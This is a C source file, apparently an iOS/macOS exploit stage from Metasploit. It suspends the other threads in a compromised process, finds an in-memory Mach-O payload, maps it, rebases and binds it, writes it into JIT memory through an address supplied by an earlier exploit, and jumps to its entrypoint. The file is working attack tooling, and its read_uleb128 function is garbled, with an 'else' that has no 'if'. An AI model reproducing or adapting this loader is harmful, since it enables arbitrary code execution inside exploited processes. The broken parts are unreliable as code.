399 lines
13 KiB
C
399 lines
13 KiB
C
#include <stdio.h>
|
|
|
|
#include <dlfcn.h>
|
|
|
|
#include <mach/mach.h>
|
|
|
|
#include <mach-o/fat.h>
|
|
#include <mach-o/loader.h>
|
|
#include <sys/mman.h>
|
|
#include <mach/vm_map.h>
|
|
|
|
#include "magic.h"
|
|
|
|
/*#define DEBUG 1*/
|
|
|
|
//asl_log isn't working, so: idevicesyslog | grep SandboxViolation
|
|
#ifdef DEBUG
|
|
#define debug_print(fmt, ...) \
|
|
do { \
|
|
char* buffer = malloc_func(1024); \
|
|
sprintf_func(buffer, fmt, __VA_ARGS__); \
|
|
fopen_func(buffer, "w"); \
|
|
free_func(buffer); \
|
|
} while (0)
|
|
//do { asl_log_func(0, 0, ASL_LEVEL_ERR, fmt, __VA_ARGS__); } while (0)
|
|
#else
|
|
#define debug_print(fmt, ...)
|
|
#endif
|
|
|
|
#define DLSYM_FUNC(func, library, return_type, args...) \
|
|
typedef return_type (*func##_ptr)(args); \
|
|
func##_ptr func##_func = dlsym_func(library, #func);
|
|
|
|
typedef void* (*t_dlsym)(void* handle, const char* symbol);
|
|
typedef void* (*t_dlopen)(const char* library, int rtld);
|
|
void load(void* buffer, t_dlsym _dlsym, void* jitwrite, void* jitstart, void* jitend);
|
|
|
|
void init(void* dlopen_addr, void* dlsym_addr, void* jitwrite_addr, uint64_t startOfFixMem, uint64_t endOfFixMem)
|
|
{
|
|
typedef void* (*dlsym_ptr)(void *handle, const char *symbol);
|
|
dlsym_ptr dlsym_func = dlsym_addr;
|
|
typedef void* (*dlopen_ptr)(const char *filename, int flags);
|
|
dlopen_ptr dlopen_func = dlopen_addr;
|
|
|
|
void* libsystem = dlopen_func("/usr/lib/libSystem.B.dylib", RTLD_NOW);
|
|
|
|
// Suspend threads
|
|
typedef mach_port_t (*mach_task_self_ptr)();
|
|
typedef thread_port_t (*mach_thread_self_ptr)();
|
|
typedef kern_return_t (*thread_suspend_ptr)(thread_act_t target_thread);
|
|
typedef kern_return_t (*task_threads_ptr)(task_t task, thread_act_array_t thread_list, mach_msg_type_number_t* thread_count);
|
|
void* libIOKit = dlopen_func("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_NOW);
|
|
mach_task_self_ptr mach_task_self_func = dlsym_func(libIOKit, "mach_task_self");
|
|
mach_thread_self_ptr mach_thread_self_func = dlsym_func(libIOKit, "mach_thread_self");
|
|
thread_suspend_ptr thread_suspend_func = dlsym_func(libsystem, "thread_suspend");
|
|
task_threads_ptr task_threads_func = dlsym_func(libsystem, "task_threads");
|
|
thread_act_t current_thread = mach_thread_self_func();
|
|
mach_msg_type_number_t thread_count;
|
|
thread_act_array_t thread_list;
|
|
kern_return_t result = task_threads_func(mach_task_self_func(), (thread_act_array_t)&thread_list, &thread_count);
|
|
if (!result && thread_count) {
|
|
for (unsigned int i = 0; i < thread_count; ++i) {
|
|
thread_act_t other_thread = thread_list[i];
|
|
if (other_thread != current_thread) {
|
|
thread_suspend_func(other_thread);
|
|
}
|
|
}
|
|
}
|
|
|
|
uint64_t payloadBuffer = endOfFixMem - (0x100000 - 0x10000);
|
|
|
|
#ifdef DEBUG
|
|
DLSYM_FUNC(malloc, libsystem, void*, size_t)
|
|
DLSYM_FUNC(free, libsystem, void*)
|
|
DLSYM_FUNC(sprintf, libsystem, int, char* str, const char * format, ... );
|
|
DLSYM_FUNC(fopen, libsystem, FILE*, const char * filename, const char * mode );
|
|
debug_print("%s", "hello from metasploit");
|
|
debug_print("%s", "hello from metasploit");
|
|
debug_print("%s", "hello from metasploit");
|
|
debug_print("%s", "hello from metasploit");
|
|
debug_print("%s", "hello from metasploit");
|
|
|
|
debug_print("main:%p", (void*)init);
|
|
debug_print("end:%p", (void*)endOfFixMem);
|
|
debug_print("buffer:%p", (void*)payloadBuffer);
|
|
debug_print("nbuffer:%p", (void*)*(uint64_t*)payloadBuffer);
|
|
debug_print("start:%p", (void*)startOfFixMem);
|
|
#endif
|
|
|
|
load((void*)payloadBuffer, (t_dlsym)dlsym_func, jitwrite_addr, (void*)startOfFixMem, (void*)endOfFixMem);
|
|
}
|
|
|
|
void fail(uint64_t x) {
|
|
*(volatile int*)(0xbad000000000ull + x) = 0xdead;
|
|
}
|
|
#define ASSERT(x) if (!(x))fail(0xa00000000ull + __LINE__)
|
|
|
|
#define MIN(x,y) ((x)<(y)?(x):(y))
|
|
#define MAX(x,y) ((x)>(y)?(x):(y))
|
|
|
|
void performJITMemcpy(t_dlsym _dlsym, void* jitwrite, void* startOfFixMem, void* dst, void* src, size_t size)
|
|
{
|
|
typedef void (*JITWriteSeparateHeapsFunction)(off_t, const void*, size_t);
|
|
JITWriteSeparateHeapsFunction jitWriteSeparateHeapsFunction = jitwrite;
|
|
ASSERT(jitWriteSeparateHeapsFunction);
|
|
ASSERT(startOfFixMem);
|
|
|
|
int (*_memcmp)(const void *, const void*, size_t) = _dlsym(RTLD_DEFAULT, "memcmp");
|
|
|
|
off_t offset = (off_t)((uintptr_t)dst - (uintptr_t)startOfFixMem);
|
|
jitWriteSeparateHeapsFunction(offset, src, size);
|
|
|
|
ASSERT(!_memcmp(dst, src, size));
|
|
}
|
|
|
|
static inline uintptr_t read_uleb128(uint8_t** pp, uint8_t* end)
|
|
{
|
|
uint8_t* p = *pp;
|
|
uint64_t result = 0;
|
|
int bit = 0;
|
|
do {
|
|
ASSERT(p != end);
|
|
uint64_t slice = *p & 0x7f;
|
|
ASSERT(bit <= 63);
|
|
else {
|
|
result |= (slice << bit);
|
|
bit += 7;
|
|
}
|
|
} while (*p++ & 0x80);
|
|
|
|
*pp = p;
|
|
return result;
|
|
}
|
|
|
|
static inline uintptr_t read_sleb128(uint8_t** pp, uint8_t* end)
|
|
{
|
|
uint8_t* p = *pp;
|
|
int64_t result = 0;
|
|
int bit = 0;
|
|
uint8_t byte;
|
|
do {
|
|
ASSERT(p != end);
|
|
byte = *p++;
|
|
result |= (((int64_t)(byte & 0x7f)) << bit);
|
|
bit += 7;
|
|
} while (byte & 0x80);
|
|
// sign extend negative numbers
|
|
if ( (byte & 0x40) != 0 )
|
|
result |= (-1LL) << bit;
|
|
*pp = p;
|
|
return result;
|
|
}
|
|
|
|
// <3 qwerty
|
|
void rebase(struct dyld_info_command* dyld_info,
|
|
uint8_t* map,
|
|
uintptr_t* segstart,
|
|
uintptr_t linkedit_base,
|
|
uintptr_t reloc_slide) {
|
|
uint8_t* start = map + dyld_info->rebase_off + linkedit_base;
|
|
uint8_t* end = start + dyld_info->rebase_size;
|
|
uintptr_t address = (uintptr_t)map;
|
|
uintptr_t count = 0, skip = 0;
|
|
char done = 0;
|
|
uint8_t* p = start;
|
|
while (!done && (p < end)) {
|
|
uint8_t immediate = *p & REBASE_IMMEDIATE_MASK;
|
|
uint8_t opcode = *p & REBASE_OPCODE_MASK;
|
|
++p;
|
|
|
|
switch (opcode) {
|
|
case REBASE_OPCODE_DONE:
|
|
done = 1;
|
|
break;
|
|
case REBASE_OPCODE_SET_TYPE_IMM:
|
|
ASSERT(immediate == REBASE_TYPE_POINTER);
|
|
break;
|
|
case REBASE_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:
|
|
address = (uintptr_t)(map + segstart[immediate] + read_uleb128(&p, end));
|
|
break;
|
|
case REBASE_OPCODE_ADD_ADDR_ULEB:
|
|
address += read_uleb128(&p, end);
|
|
break;
|
|
case REBASE_OPCODE_ADD_ADDR_IMM_SCALED:
|
|
address += immediate * sizeof(uintptr_t);
|
|
break;
|
|
case REBASE_OPCODE_DO_REBASE_IMM_TIMES:
|
|
for (int i=0; i < immediate; ++i) {
|
|
*(uintptr_t*)(address) += reloc_slide;
|
|
address += sizeof(uintptr_t);
|
|
}
|
|
break;
|
|
case REBASE_OPCODE_DO_REBASE_ULEB_TIMES:
|
|
count = read_uleb128(&p, end);
|
|
for (int i = 0; i < count; ++i) {
|
|
*(uintptr_t*)(address) += reloc_slide;
|
|
address += sizeof(uintptr_t);
|
|
}
|
|
break;
|
|
case REBASE_OPCODE_DO_REBASE_ADD_ADDR_ULEB:
|
|
*(uintptr_t*)(address) += reloc_slide;
|
|
address += read_uleb128(&p, end) + sizeof(uintptr_t);
|
|
|
|
break;
|
|
case REBASE_OPCODE_DO_REBASE_ULEB_TIMES_SKIPPING_ULEB:
|
|
count = read_uleb128(&p, end);
|
|
skip = read_uleb128(&p, end);
|
|
for (int i = 0; i < count; ++i) {
|
|
*(uintptr_t*)address += reloc_slide;
|
|
address += skip + sizeof(uintptr_t);
|
|
}
|
|
break;
|
|
|
|
default:
|
|
ASSERT(0);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
void bindit(struct dyld_info_command* dyld_info,
|
|
uint8_t* map,
|
|
uintptr_t* segstart,
|
|
uintptr_t linkedit_base,
|
|
t_dlsym _dlsym) {
|
|
uint8_t* start = map + dyld_info->bind_off + linkedit_base;
|
|
uint8_t* end = start + dyld_info->bind_size;
|
|
uintptr_t address = (uintptr_t)map;
|
|
uintptr_t count = 0, skip = 0;
|
|
char done = 0;
|
|
unsigned char type = 0;
|
|
uint8_t* p = start;
|
|
char* symbolName=0;
|
|
|
|
while (!done && (p < end)) {
|
|
uint8_t immediate = *p & BIND_IMMEDIATE_MASK;
|
|
uint8_t opcode = *p & BIND_OPCODE_MASK;
|
|
++p;
|
|
switch (opcode) {
|
|
case BIND_OPCODE_DONE:
|
|
done = 1;
|
|
break;
|
|
case BIND_OPCODE_SET_DYLIB_ORDINAL_IMM:
|
|
break;
|
|
case BIND_OPCODE_SET_DYLIB_ORDINAL_ULEB:
|
|
read_uleb128(&p, end);
|
|
break;
|
|
case BIND_OPCODE_SET_DYLIB_SPECIAL_IMM:
|
|
break;
|
|
case BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM:
|
|
symbolName = (char*)p;
|
|
while (*p != '\0')
|
|
++p;
|
|
++p;
|
|
break;
|
|
case BIND_OPCODE_SET_TYPE_IMM:
|
|
break;
|
|
case BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:
|
|
address = (uintptr_t)(map + segstart[immediate] + read_uleb128(&p, end));
|
|
break;
|
|
case BIND_OPCODE_SET_ADDEND_SLEB:
|
|
read_sleb128(&p, end);
|
|
break;
|
|
case BIND_OPCODE_ADD_ADDR_ULEB:
|
|
address += read_uleb128(&p, end);
|
|
break;
|
|
case BIND_OPCODE_DO_BIND:
|
|
*(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
|
|
address += sizeof(uintptr_t);
|
|
break;
|
|
case BIND_OPCODE_DO_BIND_ADD_ADDR_ULEB:
|
|
*(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
|
|
address += read_uleb128(&p, end) + sizeof(uintptr_t);
|
|
break;
|
|
case BIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED:
|
|
*(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
|
|
address += (immediate + 1) * sizeof(uintptr_t);
|
|
break;
|
|
case BIND_OPCODE_DO_BIND_ULEB_TIMES_SKIPPING_ULEB:
|
|
count = read_uleb128(&p, end);
|
|
skip = read_uleb128(&p, end);
|
|
for (uint32_t i = 0; i < count; ++i) {
|
|
*(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
|
|
address += skip + sizeof(uintptr_t);
|
|
}
|
|
break;
|
|
default:
|
|
ASSERT(0);
|
|
}
|
|
}
|
|
}
|
|
|
|
void load(void* buffer, t_dlsym _dlsym, void* jitwrite, void* jitstart, void* jitend)
|
|
{
|
|
# define FOR_COMMAND \
|
|
lc = (void*)(header + 1); \
|
|
for (int i = 0; i < header->ncmds; ++i, lc = (void*)((char*)lc + lc->cmdsize)) { \
|
|
|
|
# define FOR_SEGMENT_64 \
|
|
FOR_COMMAND \
|
|
if (lc->cmd != LC_SEGMENT_64) \
|
|
continue; \
|
|
struct segment_command_64* sc = (void*)lc; \
|
|
if (!_strcmp(sc->segname, "__PAGEZERO")) \
|
|
continue;
|
|
|
|
void* (*_mmap)(void *addr, size_t len, int prot, int flags, int fd, off_t offset);
|
|
void* (*_memcpy)(void *restrict dst, const void *restrict src, size_t n);
|
|
int (*_strcmp)(const char *s1, const char *s2);
|
|
|
|
_mmap = _dlsym(RTLD_DEFAULT, "mmap");
|
|
_memcpy = _dlsym(RTLD_DEFAULT, "memcpy");
|
|
_strcmp = _dlsym(RTLD_DEFAULT, "strcmp");
|
|
|
|
uintptr_t exec_base = -1, exec_end = 0,
|
|
write_base = -1, write_end = 0,
|
|
base = -1, end = 0;
|
|
|
|
uint32_t* x = (uint32_t*)buffer;
|
|
while (*x != 0xfeedfacf)
|
|
x--;
|
|
|
|
struct mach_header_64* header = (struct mach_header_64*)x;
|
|
struct load_command* lc;
|
|
uintptr_t linkedit_base = 0;
|
|
uintptr_t segstart[32];
|
|
int segcnt = 0;
|
|
|
|
FOR_SEGMENT_64
|
|
uintptr_t from = sc->vmaddr, to = from + sc->vmsize;
|
|
segstart[segcnt++] = from;
|
|
if (!_strcmp(sc->segname, "__LINKEDIT"))
|
|
linkedit_base = sc->vmaddr - sc->fileoff;
|
|
if (sc->initprot & VM_PROT_EXECUTE) {
|
|
exec_base = MIN(exec_base, from);
|
|
exec_end = MAX(exec_end, to);
|
|
}
|
|
if (sc->initprot & VM_PROT_WRITE) {
|
|
write_base = MIN(write_base, from);
|
|
write_end = MAX(write_end, to);
|
|
}
|
|
base = MIN(base, from);
|
|
end = MAX(end, to);
|
|
}
|
|
|
|
uint8_t* tmpmap = _mmap(0, end - base, PROT_WRITE | PROT_READ,
|
|
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
|
ASSERT(tmpmap);
|
|
|
|
FOR_SEGMENT_64
|
|
_memcpy(tmpmap + sc->vmaddr, (char*)header + sc->fileoff, sc->filesize);
|
|
}
|
|
|
|
ASSERT(write_base >= exec_end);
|
|
void* rw = _mmap(jitend, end - write_base, PROT_READ|PROT_WRITE,
|
|
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
|
|
ASSERT(rw == jitend);
|
|
|
|
uint8_t* finalmap = jitend - write_base + base;
|
|
|
|
uintptr_t reloc_slide = (uintptr_t)finalmap;
|
|
|
|
FOR_COMMAND
|
|
if (lc->cmd == LC_DYLD_INFO_ONLY || lc->cmd == LC_DYLD_INFO) {
|
|
rebase((void*)lc, tmpmap, segstart, linkedit_base, reloc_slide);
|
|
bindit((void*)lc, tmpmap, segstart, linkedit_base, _dlsym);
|
|
}
|
|
}
|
|
|
|
if (jitwrite && jitstart) {
|
|
performJITMemcpy(_dlsym, jitwrite, jitstart, finalmap, tmpmap, write_base - base);
|
|
} else {
|
|
_memcpy(finalmap, tmpmap, (write_base - base) - 1);
|
|
}
|
|
_memcpy(rw, tmpmap + write_base - base, end - write_base);
|
|
|
|
void (*entrypoint)();
|
|
FOR_SEGMENT_64
|
|
uint64_t* x = (void*)(finalmap + sc->vmaddr);
|
|
while ((char*)x != (char*)(finalmap + sc->vmaddr + sc->vmsize)) {
|
|
if (*x == MAGIC) {
|
|
entrypoint = (void*)*(x+1);
|
|
goto found_entrypoint;
|
|
}
|
|
x++;
|
|
}
|
|
}
|
|
|
|
found_entrypoint:
|
|
|
|
entrypoint();
|
|
}
|
|
|
|
int main()
|
|
{
|
|
return 0;
|
|
}
|
|
|